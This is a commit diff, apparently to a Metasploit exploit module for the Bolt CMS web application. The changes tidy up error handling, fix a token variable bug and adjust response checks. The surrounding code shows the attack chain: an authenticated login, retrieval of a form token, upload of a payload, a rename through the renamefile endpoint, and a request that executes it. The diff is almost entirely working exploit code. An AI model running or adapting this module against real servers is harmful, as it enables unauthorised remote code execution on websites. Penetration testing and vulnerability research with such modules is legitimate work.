Fix some improvements

Author: espreto

modules/exploits/unix/webapp/bolt_file_upload.rb

@@ -62,8 +62,13 @@ def bolt_login(user, pass)
       'uri'         => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
     )
 
+    unless res
+      print_error("#{peer} - No response from server.")
+      return
+    end
+
     session_cookie = res.get_cookies
-    vprint_status('Logging in...')
+    vprint_status("#{peer} - Logging in...")
     res = send_request_cgi(
       'method'      => 'POST',
       'uri'         => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'),
@@ -75,11 +80,7 @@ def bolt_login(user, pass)
       }
     )
 
-    unless res && res.code == 302
-      print_error("#{peer} - Login failed")
-    end
-
-    if res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
+    if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
       session_cookie = res.get_cookies
       return session_cookie
     end
@@ -93,19 +94,14 @@ def get_token(cookie)
       'cookie'    => cookie
     )
 
-    unless res
-      print_error("#{peer} - Unable to connect in the Server")
-      return
-    end
-
     if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
       return Regexp.last_match[1]
     end
     nil
   end
 
   def rename_payload(cookie, payload)
-        res = send_request_cgi(
+    res = send_request_cgi(
       'method'    => 'POST',
       'uri'       => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'),
       'vars_post'   => {
@@ -117,12 +113,7 @@ def rename_payload(cookie, payload)
       'cookie'      => cookie
     )
 
-    unless res
-      vprint_error("#{peer} - Unable to rename de file.")
-      return
-    end
-
-    if res.code == 200
+    if res && res.code == 200
       return true
     end
     nil
@@ -138,7 +129,7 @@ def exploit
     vprint_good("#{peer} - Authenticated with Bolt.")
 
     token = get_token(cookie)
-    if nonce.nil?
+    if token.nil?
       print_error("#{peer} - No token found.")
       return
     end
@@ -161,12 +152,7 @@ def exploit
       'cookie'    => cookie
     )
 
-    unless res
-      print_error("#{peer} - No response from the target")
-      return
-    end
-
-    if res.code == 304
+    if res && res.code == 302
       vprint_good("#{peer} - Uploaded the payload")
 
       rename = rename_payload(cookie, payload_name)
@@ -187,7 +173,7 @@ def exploit
       )
       vprint_good("#{peer} - Executed payload")
     else
-      print_error("#{peer} - To do")
+      print_error("#{peer} - Exploit failed. Aborting.")
     end
   end
 end